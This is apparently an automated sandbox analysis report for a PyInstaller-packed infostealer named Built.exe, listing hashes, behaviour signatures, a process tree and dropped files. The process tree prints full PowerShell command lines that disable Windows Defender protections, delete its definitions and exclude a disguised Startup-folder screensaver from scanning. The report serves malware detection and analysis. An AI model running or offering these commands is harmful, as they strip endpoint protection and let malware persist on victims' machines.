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Analysis

  • max time kernel
    2s
  • max time network
    4s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-01-2025 20:34

General

  • Target

    Built.exe

  • Size

    6.9MB

  • MD5

    2754fe0444a11859ce6814803daaa62c

  • SHA1

    59193f0128f1649184a7f90283d31d891aa23a37

  • SHA256

    125b51c996078282c7048d8959fff151b7fa334b4381e74d4f98c4d335ab63c7

  • SHA512

    4c9eb428a9223e6b370a771926bf0f6a35fddceb25fe7188cbdc164311fb821b620d073238cd19b0bfabd2c6b197cae35759b4767b176466b077c446a9155b58

  • SSDEEP

    98304:o5DjWM8JEE1FdjamaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRpYRJJcGhEIFP:o50zGeNTfm/pf+xk4dWRpmrbW3jmrH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • UPX packed file 36 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:472
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1000
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
          PID:3400
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2920
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎  .scr'"
          3⤵
            PID:3724
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  ‎  .scr'
              4⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3328
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            3⤵
              PID:4776
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:660
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
                PID:4260
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  PID:4240

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            2e8eb51096d6f6781456fef7df731d97

            SHA1

            ec2aaf851a618fb43c3d040a13a71997c25bda43

            SHA256

            96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

            SHA512

            0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            e3840d9bcedfe7017e49ee5d05bd1c46

            SHA1

            272620fb2605bd196df471d62db4b2d280a363c6

            SHA256

            3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

            SHA512

            76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\VCRUNTIME140.dll

            Filesize

            96KB

            MD5

            f12681a472b9dd04a812e16096514974

            SHA1

            6fd102eb3e0b0e6eef08118d71f28702d1a9067c

            SHA256

            d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

            SHA512

            7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_bz2.pyd

            Filesize

            46KB

            MD5

            0c13627f114f346604b0e8cbc03baf29

            SHA1

            bf77611d924df2c80aabcc3f70520d78408587a2

            SHA256

            df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861

            SHA512

            c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_ctypes.pyd

            Filesize

            57KB

            MD5

            38fb83bd4febed211bd25e19e1cae555

            SHA1

            4541df6b69d0d52687edb12a878ae2cd44f82db6

            SHA256

            cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65

            SHA512

            f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_decimal.pyd

            Filesize

            104KB

            MD5

            7ba541defe3739a888be466c999c9787

            SHA1

            ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac

            SHA256

            f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29

            SHA512

            9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_hashlib.pyd

            Filesize

            33KB

            MD5

            596df8ada4b8bc4ae2c2e5bbb41a6c2e

            SHA1

            e814c2e2e874961a18d420c49d34b03c2b87d068

            SHA256

            54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec

            SHA512

            e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_lzma.pyd

            Filesize

            84KB

            MD5

            8d9e1bb65a192c8446155a723c23d4c5

            SHA1

            ea02b1bf175b7ef89ba092720b3daa0c11bef0f0

            SHA256

            1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7

            SHA512

            4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_queue.pyd

            Filesize

            24KB

            MD5

            fbbbfbcdcf0a7c1611e27f4b3b71079e

            SHA1

            56888df9701f9faa86c03168adcd269192887b7b

            SHA256

            699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163

            SHA512

            0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_socket.pyd

            Filesize

            41KB

            MD5

            4351d7086e5221398b5b78906f4e84ac

            SHA1

            ba515a14ec1b076a6a3eab900df57f4f37be104d

            SHA256

            a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe

            SHA512

            a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_sqlite3.pyd

            Filesize

            54KB

            MD5

            d678600c8af1eeeaa5d8c1d668190608

            SHA1

            080404040afc8b6e5206729dd2b9ee7cf2cb70bc

            SHA256

            d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed

            SHA512

            8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\_ssl.pyd

            Filesize

            60KB

            MD5

            156b1fa2f11c73ed25f63ee20e6e4b26

            SHA1

            36189a5cde36d31664acbd530575a793fc311384

            SHA256

            a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51

            SHA512

            a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\base_library.zip

            Filesize

            1.4MB

            MD5

            2a138e2ee499d3ba2fc4afaef93b7caa

            SHA1

            508c733341845e94fce7c24b901fc683108df2a8

            SHA256

            130e506ead01b91b60d6d56072c468aeb5457dd0f2ecd6ce17dfcbb7d51a1f8c

            SHA512

            1f61a0fda5676e8ed8d10dfee78267f6d785f9c131f5caf2dd984e18ca9e5866b7658ab7edb2ffd74920a40ffea5cd55c0419f5e9ee57a043105e729e10d820b

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\blank.aes

            Filesize

            119KB

            MD5

            4a3ffd880792e4a1dfa27347de2a64fb

            SHA1

            ea7cafbff380c24d306d7d50a6f24ce6dc8d30c7

            SHA256

            af44df1dd9bf7e91f06dc34813545467e2c4dd860dae1626d012c0f761f41971

            SHA512

            8aaba67224d1e8f22475b260019383eb89d157374a4bf685da683203452de0556caa1b41b96c8033733d676656d92c1d2875d60d0d5dd95f351905d09c31c18e

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\libcrypto-1_1.dll

            Filesize

            1.1MB

            MD5

            daa2eed9dceafaef826557ff8a754204

            SHA1

            27d668af7015843104aa5c20ec6bbd30f673e901

            SHA256

            4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

            SHA512

            7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\libffi-8.dll

            Filesize

            24KB

            MD5

            90a6b0264a81bb8436419517c9c232fa

            SHA1

            17b1047158287eb6471416c5df262b50d6fe1aed

            SHA256

            5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79

            SHA512

            1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\libssl-1_1.dll

            Filesize

            203KB

            MD5

            eac369b3fde5c6e8955bd0b8e31d0830

            SHA1

            4bf77158c18fe3a290e44abd2ac1834675de66b4

            SHA256

            60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

            SHA512

            c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\python311.dll

            Filesize

            1.6MB

            MD5

            bb46b85029b543b70276ad8e4c238799

            SHA1

            123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c

            SHA256

            72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0

            SHA512

            5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\rar.exe

            Filesize

            615KB

            MD5

            9c223575ae5b9544bc3d69ac6364f75e

            SHA1

            8a1cb5ee02c742e937febc57609ac312247ba386

            SHA256

            90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

            SHA512

            57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\rarreg.key

            Filesize

            456B

            MD5

            4531984cad7dacf24c086830068c4abe

            SHA1

            fa7c8c46677af01a83cf652ef30ba39b2aae14c3

            SHA256

            58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

            SHA512

            00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\select.pyd

            Filesize

            24KB

            MD5

            abf7864db4445bbbd491c8cff0410ae0

            SHA1

            4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7

            SHA256

            ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e

            SHA512

            8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\sqlite3.dll

            Filesize

            608KB

            MD5

            ddd0dd698865a11b0c5077f6dd44a9d7

            SHA1

            46cd75111d2654910f776052cc30b5e1fceb5aee

            SHA256

            a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7

            SHA512

            b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

          • C:\Users\Admin\AppData\Local\Temp\_MEI25682\unicodedata.pyd

            Filesize

            293KB

            MD5

            bb3fca6f17c9510b6fb42101fe802e3c

            SHA1

            cb576f3dbb95dc5420d740fd6d7109ef2da8a99d

            SHA256

            5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87

            SHA512

            05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfw4zuco.rs4.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/472-72-0x00000153883B0000-0x0000015388725000-memory.dmp

            Filesize

            3.5MB

          • memory/472-83-0x00007FFCACFC0000-0x00007FFCACFD9000-memory.dmp

            Filesize

            100KB

          • memory/472-60-0x00007FFCA6DC0000-0x00007FFCA6F33000-memory.dmp

            Filesize

            1.4MB

          • memory/472-62-0x00007FFCACEF0000-0x00007FFCACF09000-memory.dmp

            Filesize

            100KB

          • memory/472-66-0x00007FFCAA8B0000-0x00007FFCAA8DE000-memory.dmp

            Filesize

            184KB

          • memory/472-64-0x00007FFCABA90000-0x00007FFCABA9D000-memory.dmp

            Filesize

            52KB

          • memory/472-56-0x00007FFCACFC0000-0x00007FFCACFD9000-memory.dmp

            Filesize

            100KB

          • memory/472-71-0x00007FFCA7A70000-0x00007FFCA7B28000-memory.dmp

            Filesize

            736KB

          • memory/472-70-0x00007FFCA7230000-0x00007FFCA7818000-memory.dmp

            Filesize

            5.9MB

          • memory/472-80-0x00007FFCAA880000-0x00007FFCAA88D000-memory.dmp

            Filesize

            52KB

          • memory/472-84-0x00007FFCA7930000-0x00007FFCA7A4C000-memory.dmp

            Filesize

            1.1MB

          • memory/472-58-0x00007FFCABB20000-0x00007FFCABB43000-memory.dmp

            Filesize

            140KB

          • memory/472-79-0x00007FFCABB50000-0x00007FFCABB7D000-memory.dmp

            Filesize

            180KB

          • memory/472-76-0x00007FFCAA890000-0x00007FFCAA8A4000-memory.dmp

            Filesize

            80KB

          • memory/472-74-0x00007FFCABBD0000-0x00007FFCABBF4000-memory.dmp

            Filesize

            144KB

          • memory/472-73-0x00007FFCA2780000-0x00007FFCA2AF5000-memory.dmp

            Filesize

            3.5MB

          • memory/472-25-0x00007FFCA7230000-0x00007FFCA7818000-memory.dmp

            Filesize

            5.9MB

          • memory/472-54-0x00007FFCABB50000-0x00007FFCABB7D000-memory.dmp

            Filesize

            180KB

          • memory/472-110-0x00007FFCABB20000-0x00007FFCABB43000-memory.dmp

            Filesize

            140KB

          • memory/472-32-0x00007FFCB11D0000-0x00007FFCB11DF000-memory.dmp

            Filesize

            60KB

          • memory/472-29-0x00007FFCABBD0000-0x00007FFCABBF4000-memory.dmp

            Filesize

            144KB

          • memory/1000-93-0x000001BC49C30000-0x000001BC49C52000-memory.dmp

            Filesize

            136KB